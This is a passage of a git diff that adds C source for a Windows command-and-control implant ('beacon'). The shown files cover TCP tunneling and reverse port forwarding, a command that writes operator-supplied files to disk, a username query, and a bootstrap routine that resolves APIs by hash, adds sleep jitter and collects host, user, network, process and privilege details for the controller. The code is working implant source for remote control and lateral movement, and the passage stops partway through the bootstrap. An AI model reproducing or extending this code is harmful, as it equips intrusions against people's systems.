NAX_TUNNEL* t = NaxTunnelFind( Nax, channelId ); + if ( t ) + t->SrvPaused = FALSE; +} + +/* ========= [ tunnel command dispatcher ] ========= */ + +FUNC VOID NaxTunnelDispatch( PNAX_INSTANCE Nax, BYTE cmdId, + PBYTE args, UINT32 argsLen ) { + + if ( !NaxEnsureWs2( Nax ) ) + return; + + switch ( cmdId ) { + + case NAX_CMD_TUNNEL_CONNECT_TCP: { + /* channelId(4) | type(4) | addrLen(4) | addr(addrLen) | port(4) */ + if ( argsLen < 16 ) return; + UINT32 chId = NaxR32( args ); + UINT32 type = NaxR32( args + 4 ); + UINT32 addrLen = NaxR32( args + 8 ); + if ( argsLen < 12 + addrLen + 4 ) return; + UINT32 port = NaxR32( args + 12 + addrLen ); + NaxTunnelConnectTCP( Nax, chId, type, args + 12, addrLen, port ); + break; + } + + case NAX_CMD_TUNNEL_WRITE_TCP: { + /* channelId(4) | dataLen(4) | data */ + if ( argsLen < 8 ) return; + UINT32 chId = NaxR32( args ); + UINT32 dataLen = NaxR32( args + 4 ); + if ( argsLen < 8 + dataLen ) return; + NaxTunnelWriteTCP( Nax, chId, args + 8, dataLen ); + break; + } + + case NAX_CMD_TUNNEL_CLOSE: { + /* channelId(4) */ + if ( argsLen < 4 ) return; + NaxTunnelClose( Nax, NaxR32( args ) ); + break; + } + + case NAX_CMD_TUNNEL_REVERSE: { + /* tunnelId(4) | port(4) */ + if ( argsLen < 8 ) return; + NaxTunnelReverse( Nax, NaxR32( args ), NaxR32( args + 4 ) ); + break; + } + + case NAX_CMD_TUNNEL_PAUSE: { + if ( argsLen < 4 ) return; + NaxTunnelPause( Nax, NaxR32( args ) ); + break; + } + + case NAX_CMD_TUNNEL_RESUME: { + if ( argsLen < 4 ) return; + NaxTunnelResume( Nax, NaxR32( args ) ); + break; + } + + default: + break; + } +} + +/* ========= [ heartbeat tunnel processor ] ========= */ + +FUNC UINT32 NaxProcessTunnels( PNAX_INSTANCE Nax, PBYTE out, UINT32 outCap ) { + + if ( !Nax->TunnelHead ) + return 0; + + /* Consume per-socket WSA event records so TunnelEvent stays clear + * until the next real network event. WSAResetEvent alone only + * resets the event object — internal per-socket records persist + * and re-signal immediately, causing a hot loop. */ + if ( Nax->Ws2.WSAEnumNetworkEvents ) { + NAX_TUNNEL* ev = Nax->TunnelHead; + while ( ev ) { + WSANETWORKEVENTS ne; + MmZero( &ne, sizeof( ne ) ); + Nax->Ws2.WSAEnumNetworkEvents( ev->Sock, NULL, &ne ); + ev = ev->Next; + } + } + + UINT32 written = 0; + UINT64 now = Nax->Kernel32.GetTickCount64(); + + /* scratch for select */ + struct timeval tv; + tv.tv_sec = 0; + tv.tv_usec = 0; + + /* ---- Phase 1: Check connecting sockets ---- */ + NAX_TUNNEL* t = Nax->TunnelHead; + while ( t ) { + NAX_TUNNEL* next = t->Next; + + if ( t->State == NAX_TUNNEL_STATE_CONNECT && t->Mode == NAX_TUNNEL_MODE_TCP ) { + fd_set wfds, efds; + FD_ZERO( &wfds ); + FD_ZERO( &efds ); + FD_SET( t->Sock, &wfds ); + FD_SET( t->Sock, &efds ); + + INT sr = Nax->Ws2.select( 0, NULL, &wfds, &efds, &tv ); + if ( sr > 0 && NaxFdIsSet( t->Sock, &wfds ) && !NaxFdIsSet( t->Sock, &efds ) ) { + t->State = NAX_TUNNEL_STATE_READY; + /* pack CONNECT_TCP result: channelId(4) | type(4) | result(4) = success(0) */ + BYTE rb[12]; + UINT32 chId = t->ChannelId, tp = t->Type, res = 0; + rb[0] = (BYTE)chId; rb[1] = (BYTE)(chId>>8); rb[2] = (BYTE)(chId>>16); rb[3] = (BYTE)(chId>>24); + rb[4] = (BYTE)tp; rb[5] = (BYTE)(tp>>8); rb[6] = (BYTE)(tp>>16); rb[7] = (BYTE)(tp>>24); + rb[8] = (BYTE)res; rb[9] = (BYTE)(res>>8); rb[10]= (BYTE)(res>>16); rb[11]= (BYTE)(res>>24); + UINT32 w = NaxTunnelPackEntry( out + written, outCap - written, + NAX_CMD_TUNNEL_CONNECT_TCP, rb, 12 ); + written += w; + } else if ( t->WaitTime > 0 && ( now - t->StartTick ) > t->WaitTime ) { + t->State = NAX_TUNNEL_STATE_CLOSE; + /* pack failure result */ + BYTE rb[12]; + UINT32 chId = t->ChannelId, tp = t->Type, res = 1; + rb[0] = (BYTE)chId; rb[1] = (BYTE)(chId>>8); rb[2] = (BYTE)(chId>>16); rb[3] = (BYTE)(chId>>24); + rb[4] = (BYTE)tp; rb[5] = (BYTE)(tp>>8); rb[6] = (BYTE)(tp>>16); rb[7] = (BYTE)(tp>>24); + rb[8] = (BYTE)res; rb[9] = (BYTE)(res>>8); rb[10]= (BYTE)(res>>16); rb[11]= (BYTE)(res>>24); + UINT32 w = NaxTunnelPackEntry( out + written, outCap - written, + NAX_CMD_TUNNEL_CONNECT_TCP, rb, 12 ); + written += w; + } + } + + /* Check reverse listeners for incoming connections */ + if ( t->State == NAX_TUNNEL_STATE_READY && t->Mode == NAX_TUNNEL_MODE_REVERSE ) { + fd_set rfds; + FD_ZERO( &rfds ); + FD_SET( t->Sock, &rfds ); + + INT sr = Nax->Ws2.select( 0, &rfds, NULL, NULL, &tv ); + if ( sr > 0 && NaxFdIsSet( t->Sock, &rfds ) ) { + struct sockaddr_in ca; + INT caLen = sizeof( ca ); + UINT_PTR cs = Nax->Ws2.accept( t->Sock, (struct sockaddr*)&ca, &caLen ); + if ( cs != (UINT_PTR)-1 ) { + /* non-blocking on accepted socket */ + ULONG nbio = 1; + Nax->Ws2.ioctlsocket( cs, NAX_FIONBIO, &nbio ); + NaxTunnelRegisterSocket( Nax, cs, NAX_FD_READ | NAX_FD_WRITE | NAX_FD_CLOSE ); + + /* generate channel ID from lower bits of socket handle XOR tick */ + UINT32 newChId = (UINT32)( cs ^ ( now & 0xFFFFFFFF ) ); + NAX_TUNNEL* ct = NaxTunnelAlloc( Nax, newChId ); + if ( ct ) { + ct->Sock = cs; + ct->State = NAX_TUNNEL_STATE_READY; + ct->Mode = NAX_TUNNEL_MODE_TCP; + ct->Type = t->Type; + + /* pack ACCEPT: tunnelId(4) | newChannelId(4) */ + BYTE ab[8]; + UINT32 tid = t->ChannelId; + ab[0] = (BYTE)tid; ab[1] = (BYTE)(tid>>8); ab[2] = (BYTE)(tid>>16); ab[3] = (BYTE)(tid>>24); + ab[4] = (BYTE)newChId; ab[5] = (BYTE)(newChId>>8); ab[6] = (BYTE)(newChId>>16); ab[7] = (BYTE)(newChId>>24); + UINT32 w = NaxTunnelPackEntry( out + written, outCap - written, + NAX_CMD_TUNNEL_ACCEPT, ab, 8 ); + written += w; + } else { + Nax->Ws2.closesocket( cs ); + } + } + } + } + + t = next; + } + + /* ---- Phase 2: Flush write buffers (READY only, matching reference agent) ---- */ + t = Nax->TunnelHead; + while ( t ) { + if ( t->State == NAX_TUNNEL_STATE_READY + && t->WriteBuf && t->WriteBufSize > 0 ) { + + UINT32 totalSent = 0; + while ( totalSent < t->WriteBufSize ) { + INT sent = Nax->Ws2.send( t->Sock, (PCHAR)( t->WriteBuf + totalSent ), + (INT)( t->WriteBufSize - totalSent ), 0 ); + if ( sent > 0 ) { + totalSent += (UINT32)sent; + } else { + break; /* WSAEWOULDBLOCK or error */ + } + } + + if ( totalSent > 0 ) { + if ( totalSent >= t->WriteBufSize ) { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, t->WriteBuf ); + t->WriteBuf = NULL; + t->WriteBufSize = 0; + } else { + UINT32 rem = t->WriteBufSize - totalSent; + PBYTE nb = C_PTR( Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, rem ) ); + if ( nb ) { + MmCopy( nb, t->WriteBuf + totalSent, rem ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, t->WriteBuf ); + t->WriteBuf = nb; + t->WriteBufSize = rem; + } + } + } + + /* send RESUME if we were paused and buffer dropped below low watermark */ + if ( t->Paused && t->WriteBufSize < NAX_TUNNEL_LOW_WATERMARK ) { + t->Paused = FALSE; + BYTE pb[4]; + UINT32 chId = t->ChannelId; + pb[0] = (BYTE)chId; pb[1] = (BYTE)(chId>>8); pb[2] = (BYTE)(chId>>16); pb[3] = (BYTE)(chId>>24); + UINT32 w = NaxTunnelPackEntry( out + written, outCap - written, + NAX_CMD_TUNNEL_RESUME, pb, 4 ); + written += w; + } + } + t = t->Next; + } + + /* ---- Phase 3: Recv from ready sockets ---- */ + UINT64 recvStart = Nax->Kernel32.GetTickCount64(); + UINT32 totalRecv = 0; + + t = Nax->TunnelHead; + while ( t ) { + if ( t->State == NAX_TUNNEL_STATE_READY && t->Mode == NAX_TUNNEL_MODE_TCP && !t->SrvPaused ) { + for ( INT i = 0; i < NAX_TUNNEL_RECV_MAX_ITER; i++ ) { + if ( ( Nax->Kernel32.GetTickCount64() - recvStart ) > NAX_TUNNEL_RECV_BUDGET_MS ) + break; + if ( totalRecv >= NAX_TUNNEL_HIGH_WATERMARK ) + break; + + fd_set rfds; + FD_ZERO( &rfds ); + FD_SET( t->Sock, &rfds ); + INT sr = Nax->Ws2.select( 0, &rfds, NULL, NULL, &tv ); + if ( sr <= 0 || !NaxFdIsSet( t->Sock, &rfds ) ) + break; + + /* recv into output buffer directly after the entry header space */ + UINT32 space = outCap - written; + if ( space < NAX_TUNNEL_RECV_HDR_RESERVE ) break; + UINT32 maxRecv = space - NAX_TUNNEL_RECV_HDR_RESERVE; + if ( maxRecv > NAX_TUNNEL_RECV_CHUNK_MAX ) maxRecv = NAX_TUNNEL_RECV_CHUNK_MAX; + + BYTE* recvBase = out + written + 8 + 8; /* skip entryLen(4)+cmdId(4) + channelId(4)+dataLen(4) */ + INT got = Nax->Ws2.recv( t->Sock, (PCHAR)recvBase, (INT)maxRecv, 0 ); + + if ( got > 0 ) { + /* build payload header: channelId(4) | dataLen(4) */ + BYTE ph[8]; + UINT32 chId = t->ChannelId; + ph[0] = (BYTE)chId; ph[1] = (BYTE)(chId>>8); ph[2] = (BYTE)(chId>>16); ph[3] = (BYTE)(chId>>24); + ph[4] = (BYTE)got; ph[5] = (BYTE)(got>>8); ph[6] = (BYTE)(got>>16); ph[7] = (BYTE)(got>>24); + MmCopy( out + written + 8, ph, 8 ); + + /* build entry header: entryLen(4) | cmdId(4) */ + UINT32 entryLen = 4 + 8 + (UINT32)got; /* cmdId + channelId + dataLen + data */ + UINT32 total = 4 + entryLen; + out[written] = (BYTE)entryLen; + out[written+1] = (BYTE)(entryLen>>8); + out[written+2] = (BYTE)(entryLen>>16); + out[written+3] = (BYTE)(entryLen>>24); + UINT32 cmd = NAX_CMD_TUNNEL_WRITE_TCP; + out[written+4] = (BYTE)cmd; + out[written+5] = (BYTE)(cmd>>8); + out[written+6] = (BYTE)(cmd>>16); + out[written+7] = (BYTE)(cmd>>24); + + written += total; + totalRecv += (UINT32)got; + } else if ( got == 0 ) { + /* graceful close */ + t->State = NAX_TUNNEL_STATE_CLOSE; + break; + } else { + /* error: WSAEWOULDBLOCK is normal, anything else means close */ + INT err = Nax->Ws2.WSAGetLastError(); + if ( err != NAX_WSAEWOULDBLOCK ) + t->State = NAX_TUNNEL_STATE_CLOSE; + break; + } + } + + /* send PAUSE if output exceeds high watermark */ + if ( totalRecv >= NAX_TUNNEL_HIGH_WATERMARK && !t->Paused ) { + t->Paused = TRUE; + BYTE pb[4]; + UINT32 chId = t->ChannelId; + pb[0] = (BYTE)chId; pb[1] = (BYTE)(chId>>8); pb[2] = (BYTE)(chId>>16); pb[3] = (BYTE)(chId>>24); + UINT32 w = NaxTunnelPackEntry( out + written, outCap - written, + NAX_CMD_TUNNEL_PAUSE, pb, 4 ); + written += w; + } + } + t = t->Next; + } + + /* ---- Phase 4: Cleanup closed tunnels ---- */ + /* CloseTimer states: 0=fresh, 1=draining write buffer, 2=shutdown sent (grace) */ + t = Nax->TunnelHead; + while ( t ) { + NAX_TUNNEL* next = t->Next; + + if ( t->State == NAX_TUNNEL_STATE_CLOSE ) { + + /* still draining write buffer - let Phase 2 flush it */ + if ( t->WriteBuf && t->WriteBufSize > 0 ) { + if ( t->CloseTimer == 0 ) { + t->CloseTimer = 1; + t->StartTick = now; + } else if ( ( now - t->StartTick ) > NAX_TUNNEL_DRAIN_TIMEOUT_MS ) { + Nax->Ws2.shutdown( t->Sock, NAX_SD_BOTH ); + Nax->Ws2.closesocket( t->Sock ); + NaxTunnelRemove( Nax, t ); + } + t = next; + continue; + } + + /* buffer empty - send shutdown if not done yet */ + if ( t->CloseTimer <= 1 ) { + t->CloseTimer = 2; + t->StartTick = now; + + BYTE cb[12]; + UINT32 chId = t->ChannelId, tp = t->Type, res = 0; + cb[0] = (BYTE)chId; cb[1] = (BYTE)(chId>>8); cb[2] = (BYTE)(chId>>16); cb[3] = (BYTE)(chId>>24); + cb[4] = (BYTE)tp; cb[5] = (BYTE)(tp>>8); cb[6] = (BYTE)(tp>>16); cb[7] = (BYTE)(tp>>24); + cb[8] = (BYTE)res; cb[9] = (BYTE)(res>>8); cb[10]= (BYTE)(res>>16); cb[11]= (BYTE)(res>>24); + UINT32 w = NaxTunnelPackEntry( out + written, outCap - written, + NAX_CMD_TUNNEL_CLOSE, cb, 12 ); + written += w; + + Nax->Ws2.shutdown( t->Sock, NAX_SD_SEND ); + } else if ( ( now - t->StartTick ) > NAX_TUNNEL_CLOSE_GRACE_MS ) { + Nax->Ws2.closesocket( t->Sock ); + NaxTunnelRemove( Nax, t ); + } + } + + t = next; + } + + return written; +} diff --git a/src_beacon/src/Commands/Upload.c b/src_beacon/src/Commands/Upload.c new file mode 100644 index 0000000..cfd343b --- /dev/null +++ b/src_beacon/src/Commands/Upload.c @@ -0,0 +1,64 @@ +/* beacon/src/Commands/Upload.c + * CMD_UPLOAD (0x26) - write accumulated MemSave data to disk. + * + * Task args wire format: + * memoryId(4LE) + path_len(4LE) + path_bytes + * + * The file data was previously accumulated via CMD_SAVEMEMORY chunks. + * After writing, the MemSave buffer is freed. + * + * Result on success: zero-length data, status=OK + * Result on failure: Win32_error(4LE), status=ERR */ + +#include "Nax.h" + +FUNC INT NaxCmdUpload( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + if ( !args || args_len < 8 ) return NAX_ERR_INVAL; + + UINT32 memoryId = NaxR32( args ); + UINT32 path_len = NaxR32( args + 4 ); + if ( 8 + path_len > args_len ) return NAX_ERR_INVAL; + + PCHAR path_buf = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, path_len + 1 ); + if ( !path_buf ) return NAX_ERR_NOMEM; + MmCopy( path_buf, args + 8, path_len ); + path_buf[ path_len ] = '\0'; + + /* Look up accumulated data */ + NAX_MEMSAVE* ms = NaxMemSaveGet( Nax, memoryId ); + if ( !ms || !ms->Buffer ) { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf ); + *out_len = 0; + return NAX_ERR_INVAL; + } + + HANDLE hFile = Nax->Kernel32.CreateFileA( path_buf, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); + if ( hFile == INVALID_HANDLE_VALUE ) { + DWORD err = Nax->Kernel32.GetLastError ? Nax->Kernel32.GetLastError() : 0; + NaxWriteWin32ErrCode( out, out_len, err ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf ); + NaxMemSaveFree( Nax, memoryId ); + return NAX_ERR_FAIL; + } + + DWORD written = 0; + BOOL ok = TRUE; + if ( ms->CurrentSize > 0 ) + ok = Nax->Kernel32.WriteFile( hFile, ms->Buffer, ms->CurrentSize, &written, NULL ); + + if ( !ok || written != ms->CurrentSize ) { + DWORD err = Nax->Kernel32.GetLastError ? Nax->Kernel32.GetLastError() : 0; + NaxWriteWin32ErrCode( out, out_len, err ); + Nax->Kernel32.CloseHandle( hFile ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf ); + NaxMemSaveFree( Nax, memoryId ); + return NAX_ERR_FAIL; + } + + Nax->Kernel32.CloseHandle( hFile ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf ); + NaxMemSaveFree( Nax, memoryId ); + + *out_len = 0; + return NAX_OK; +} diff --git a/src_beacon/src/Commands/Whoami.c b/src_beacon/src/Commands/Whoami.c new file mode 100644 index 0000000..7febe38 --- /dev/null +++ b/src_beacon/src/Commands/Whoami.c @@ -0,0 +1,19 @@ +/* beacon/src/Commands/Whoami.c + * CMD_WHOAMI (0x10) - return current username as UTF-8. */ + +#include "Nax.h" + +FUNC INT NaxCmdWhoami( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) { + WCHAR wbuf[256]; + DWORD wlen = 256; + + if ( ! Nax->Advapi32.GetUserNameW( wbuf, &wlen ) ) + return NAX_ERR_INVAL; + + INT n = Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, wbuf, -1, + (PCHAR)out, (INT)*out_len, + NULL, NULL ); + if ( n <= 0 ) return NAX_ERR_NOMEM; + *out_len = (UINT32)( n - 1 ); + return NAX_OK; +} diff --git a/src_beacon/src/Core/Bootstrap.c b/src_beacon/src/Core/Bootstrap.c new file mode 100644 index 0000000..9ed2a4f --- /dev/null +++ b/src_beacon/src/Core/Bootstrap.c @@ -0,0 +1,437 @@ +/* beacon/src/Core/Bootstrap.c + * NaxBootstrap - resolve all APIs and allocate NAX_INSTANCE on the heap. + * NaxEffectiveSleep - jitter calculation. + * NaxGetInternalIp, NaxGetDomain - system info helpers. */ + +#include "Nax.h" +#include "Config.h" +#include "Transport.h" +#include +#include + +/* ========= [ jitter ] ========= */ + +FUNC UINT32 NaxEffectiveSleep( PNAX_INSTANCE Nax ) { + if ( Nax->Config.JitterPct == 0 ) + return Nax->Config.SleepMs; + UINT32 delta = ( Nax->Config.SleepMs / 100u ) * (UINT32)Nax->Config.JitterPct; + if ( delta == 0 ) + return Nax->Config.SleepMs; + BYTE r = 0; + Nax->Bcrypt.BCryptGenRandom( NULL, &r, 1, BCRYPT_USE_SYSTEM_PREFERRED_RNG ); + INT32 off = (INT32)( (UINT32)r % ( 2u * delta + 1u ) ) - (INT32)( delta ); + INT32 val = (INT32)( Nax->Config.SleepMs ) + off; + return (UINT32)( val < 0 ? 0 : val ); +} + +/* ========= [ internal IP helper ] ========= */ + +FUNC VOID NaxGetInternalIp( PNAX_INSTANCE Nax, PCHAR out, UINT32 cap ) { + CHAR def[] = { '0', '.', '0', '.', '0', '.', '0', '\0' }; + MmCopy( out, def, 8 ); + + if ( !Nax->Iphlpapi.GetAdaptersInfo ) + return; + + ULONG adapterInfoBufLen = 0; + if ( Nax->Iphlpapi.GetAdaptersInfo( NULL, &adapterInfoBufLen ) != ERROR_BUFFER_OVERFLOW ) + return; + + PIP_ADAPTER_INFO adapterInfo = (PIP_ADAPTER_INFO) Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, adapterInfoBufLen ); + if ( ! adapterInfo ) + return; + + if ( Nax->Iphlpapi.GetAdaptersInfo( adapterInfo, &adapterInfoBufLen ) == ERROR_SUCCESS ) { + for ( PIP_ADAPTER_INFO a = adapterInfo; a; a = a->Next ) { + if ( a->Type == NAX_MIB_IF_TYPE_LOOPBACK ) + continue; + PCHAR ip = a->IpAddressList.IpAddress.String; + if ( ip[0] == '0' && ip[1] == '.' ) + continue; + if ( ip[0] == '1' && ip[1] == '6' && ip[2] == '9' && ip[3] == '.' && + ip[4] == '2' && ip[5] == '5' && ip[6] == '4' && ip[7] == '.' ) + continue; + UINT32 j = 0; + while ( ip[j] && j < cap - 1 ) { + out[j] = ip[j]; + j++; + } + out[j] = '\0'; + break; + } + } + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, adapterInfo ); +} + +/* ========= [ domain helper ] ========= */ + +FUNC VOID NaxGetDomain( PNAX_INSTANCE Nax, PCHAR out, UINT32 cap ) { + WCHAR wbuf[256]; + MmZero( wbuf, sizeof( wbuf ) ); + DWORD wlen = 256; + if ( Nax->Kernel32.GetComputerNameExW( ComputerNameDnsDomain, wbuf, &wlen ) && wlen > 0 ) { + INT n = Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, wbuf, -1, out, (INT)cap, NULL, NULL ); + if ( n > 0 ) + return; + } + CHAR wg[] = { 'W', 'O', 'R', 'K', 'G', 'R', 'O', 'U', 'P', '\0' }; + MmCopy( out, wg, 10 ); +} + +/* ========= [ system info gather ] ========= */ + +FUNC VOID NaxGatherSysInfo( PNAX_INSTANCE Nax, PNAX_SYSINFO info ) { + MmZero( info, sizeof( NAX_SYSINFO ) ); + + { WCHAR w[64]; DWORD n = 64; + if ( Nax->Kernel32.GetComputerNameExW( ComputerNameDnsHostname, w, &n ) ) + Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, w, -1, info->Hostname, 64, NULL, NULL ); } + + { WCHAR w[256]; DWORD n = 256; + if ( Nax->Advapi32.GetUserNameW( w, &n ) ) + Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, w, -1, info->Username, 256, NULL, NULL ); } + + { MmZero( Nax->ImgPath, 260 ); + PNAX_RTL_USER_PROCESS_PARAMETERS pp = NaxCurrentPeb()->ProcessParameters; + PWSTR img_buf = pp->ImagePathName.Buffer; + UINT32 img_chars = (UINT32)pp->ImagePathName.Length / 2; + Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, img_buf, (INT)img_chars, Nax->ImgPath, 259, NULL, NULL ); + PWSTR base = img_buf; + for ( UINT32 i = 0; i < img_chars; i++ ) + if ( img_buf[i] == L'\\' ) base = img_buf + i + 1; + UINT32 base_chars = img_chars - (UINT32)( base - img_buf ); + Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, base, (INT)base_chars, info->Procname, 255, NULL, NULL ); } + + info->Pid = (UINT32)(UINT_PTR)NaxCurrentTeb()->ClientId.UniqueProcess; + info->Tid = (UINT32)(UINT_PTR)NaxCurrentTeb()->ClientId.UniqueThread; + + { PBYTE peb = (PBYTE)NaxCurrentPeb(); + Nax->OsMajor = *(UINT32*)( peb + NAX_PEB_OSMAJOR_OFFSET ); + Nax->OsMinor = *(UINT32*)( peb + NAX_PEB_OSMINOR_OFFSET ); + Nax->OsBuild = *(UINT16*)( peb + NAX_PEB_OSBUILD_OFFSET ); } + + { PROCESS_BASIC_INFORMATION pbi; + MmZero( &pbi, sizeof( pbi ) ); + if ( Nax->Ntdll.NtQueryInformationProcess ) + Nax->Ntdll.NtQueryInformationProcess( NtCurrentProcess(), ProcessBasicInformation, &pbi, sizeof( pbi ), NULL ); + Nax->ParentPid = (UINT32)(UINT_PTR)pbi.InheritedFromUniqueProcessId; } + + { Nax->Elevated = 0; + HANDLE hToken = NULL; + if ( Nax->Ntdll.NtOpenProcessToken && Nax->Ntdll.NtOpenProcessToken( NtCurrentProcess(), NAX_TOKEN_QUERY, &hToken ) == 0 ) { + struct { DWORD TokenIsElevated; } elev; + ULONG ret = 0; + if ( Nax->Ntdll.NtQueryInformationToken( hToken, NAX_TOKEN_ELEVATION_TYPE, &elev, sizeof( elev ), &ret ) == 0 ) + Nax->Elevated = elev.TokenIsElevated ? 1 : 0; + Nax->Ntdll.NtClose( hToken ); + } } + + Nax->Acp = Nax->Kernel32.GetACP ? (UINT32)Nax->Kernel32.GetACP() : 0; + Nax->OemCp = Nax->Kernel32.GetOEMCP ? (UINT32)Nax->Kernel32.GetOEMCP() : 0; + + NaxGetInternalIp( Nax, info->IpStr, 64 ); + NaxGetDomain( Nax, info->Domain, 256 ); + + info->HnLen = 0; while ( info->Hostname[info->HnLen] ) info->HnLen++; + info->UnLen = 0; while ( info->Username[info->UnLen] ) info->UnLen++; + info->IpLen = 0; while ( info->IpStr[info->IpLen] ) info->IpLen++; + info->DmLen = 0; while ( info->Domain[info->DmLen] ) info->DmLen++; + info->PnLen = 0; while ( info->Procname[info->PnLen] ) info->PnLen++; + info->ImLen = 0; while ( Nax->ImgPath[info->ImLen] ) info->ImLen++; + + NaxDbg( Nax, "host=%s user=%s proc=%s ip=%s pid=%u tid=%u elevated=%u os=%u.%u.%u ppid=%u acp=%u", + info->Hostname, info->Username, info->Procname, info->IpStr, info->Pid, info->Tid, + (UINT32)Nax->Elevated, Nax->OsMajor, Nax->OsMinor, Nax->OsBuild, Nax->ParentPid, Nax->Acp ); +} + +/* ========= [ instance bootstrap ] ========= */ + +FUNC PNAX_INSTANCE NaxBootstrap( VOID ) { + /* - resolve ntdll - */ + HMODULE hNtdll = NaxGetModule( H_NTDLL_DLL ); + if ( ! hNtdll ) return NULL; + + PVOID pAlloc = NaxGetProc( hNtdll, H_RTLALLOCATEHEAP ); + if ( ! pAlloc ) return NULL; + __typeof__( RtlAllocateHeap )* fnRtlAllocateHeap = (__typeof__( RtlAllocateHeap )*)pAlloc; + + /* - allocate instance - */ + HANDLE heap = NaxGetProcessHeap(); + PNAX_INSTANCE Nax = (PNAX_INSTANCE)fnRtlAllocateHeap( heap, 0, sizeof( NAX_INSTANCE ) ); + if ( ! Nax ) return NULL; + MmZero( Nax, sizeof( NAX_INSTANCE ) ); + + /* - ntdll: heap + debug - */ + Nax->Heap = heap; + Nax->Ntdll.Handle = hNtdll; + Nax->Ntdll.RtlAllocateHeap = (PVOID)pAlloc; + Nax->Ntdll.RtlFreeHeap = (PVOID)NaxGetProc( hNtdll, H_RTLFREEHEAP ); + Nax->Ntdll.DbgPrint = (PVOID)NaxGetProc( hNtdll, H_DBGPRINT ); + + /* - resolve remaining ntdll - */ + Nax->Ntdll.RtlExitUserThread = (PVOID)NaxGetProc( hNtdll, H_RTLEXITUSERTHREAD ); + Nax->Ntdll.NtAllocateVirtualMemory = (PVOID)NaxGetProc( hNtdll, H_NTALLOCATEVIRTUALMEMORY ); + Nax->Ntdll.NtProtectVirtualMemory = (PVOID)NaxGetProc( hNtdll, H_NTPROTECTVIRTUALMEMORY ); + Nax->Ntdll.NtFreeVirtualMemory = (PVOID)NaxGetProc( hNtdll, H_NTFREEVIRTUALMEMORY ); + Nax->Ntdll.RtlAddFunctionTable = (PVOID)NaxGetProc( hNtdll, H_RTLADDFUNCTIONTABLE ); + Nax->Ntdll.RtlDeleteFunctionTable = (PVOID)NaxGetProc( hNtdll, H_RTLDELETEFUNCTIONTABLE ); + Nax->Ntdll._vsnprintf = (PVOID)NaxGetProc( hNtdll, H__VSNPRINTF ); + Nax->Ntdll.NtOpenProcessToken = (PVOID)NaxGetProc( hNtdll, H_NTOPENPROCESSTOKEN ); + Nax->Ntdll.NtQueryInformationToken = (PVOID)NaxGetProc( hNtdll, H_NTQUERYINFORMATIONTOKEN ); + Nax->Ntdll.NtQueryInformationProcess = (PVOID)NaxGetProc( hNtdll, H_NTQUERYINFORMATIONPROCESS ); + Nax->Ntdll.NtClose = (PVOID)NaxGetProc( hNtdll, H_NTCLOSE ); + Nax->Ntdll.NtQuerySystemInformation = (PVOID)NaxGetProc( hNtdll, H_NTQUERYSYSTEMINFORMATION ); + Nax->Ntdll.NtQueryVirtualMemory = (PVOID)NaxGetProc( hNtdll, H_NTQUERYVIRTUALMEMORY ); + Nax->Ntdll.NtOpenProcess = (PVOID)NaxGetProc( hNtdll, H_NTOPENPROCESS ); + Nax->Ntdll.NtTerminateProcess = (PVOID)NaxGetProc( hNtdll, H_NTTERMINATEPROCESS ); + + /* thread pool + critical section */ + Nax->Ntdll.TpAllocWork = (PVOID)NaxGetProc( hNtdll, H_TPALLOCWORK ); + Nax->Ntdll.TpPostWork = (PVOID)NaxGetProc( hNtdll, H_TPPOSTWORK ); + Nax->Ntdll.TpReleaseWork = (PVOID)NaxGetProc( hNtdll, H_TPRELEASEWORK ); + Nax->Ntdll.RtlInitializeCriticalSection = (PVOID)NaxGetProc( hNtdll, H_RTLINITIALIZECRITICALSECTION ); + Nax->Ntdll.RtlEnterCriticalSection = (PVOID)NaxGetProc( hNtdll, H_RTLENTERCRITICALSECTION ); + Nax->Ntdll.RtlLeaveCriticalSection = (PVOID)NaxGetProc( hNtdll, H_RTLLEAVECRITICALSECTION ); + Nax->Ntdll.RtlTryEnterCriticalSection = (PVOID)NaxGetProc( hNtdll, H_RTLTRYENTERCRITICALSECTION ); + Nax->Ntdll.RtlDeleteCriticalSection = (PVOID)NaxGetProc( hNtdll, H_RTLDELETECRITICALSECTION ); + Nax->Ntdll.LdrRegisterDllNotification = (PVOID)NaxGetProc( hNtdll, H_LDRREGISTERDLLNOTIFICATION ); + Nax->Ntdll.LdrUnregisterDllNotification = (PVOID)NaxGetProc( hNtdll, H_LDRUNREGISTERDLLNOTIFICATION ); + + NaxDbgx( Nax, "bootstrap: heap=%p Nax=%p", (PVOID)heap, (PVOID)Nax ); + + /* - populate config from compile-time constants - */ + NaxInitConfig( Nax ); + NaxDbgx( Nax, "config: sleep=%u jitter=%u", Nax->Config.SleepMs, (UINT32)Nax->Config.JitterPct ); + + /* - resolve kernel32 - */ + HMODULE hK32 = NaxGetModule( H_KERNEL32_DLL ); + NaxDbgx( Nax, "kernel32: %p", hK32 ); + if ( ! hK32 ) { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, Nax ); + return NULL; + } + Nax->Kernel32.Handle = hK32; + Nax->Kernel32.GetComputerNameExW = (PVOID)NaxGetProc( hK32, H_GETCOMPUTERNAMEEXW ); + Nax->Kernel32.ExitProcess = (PVOID)NaxGetProc( hK32, H_EXITPROCESS ); + Nax->Kernel32.Sleep = (PVOID)NaxGetProc( hK32, H_SLEEP ); + Nax->Kernel32.LoadLibraryW = (PVOID)NaxGetProc( hK32, H_LOADLIBRARYW ); + Nax->Kernel32.WideCharToMultiByte = (PVOID)NaxGetProc( hK32, H_WIDECHARTOMULTIBYTE ); + 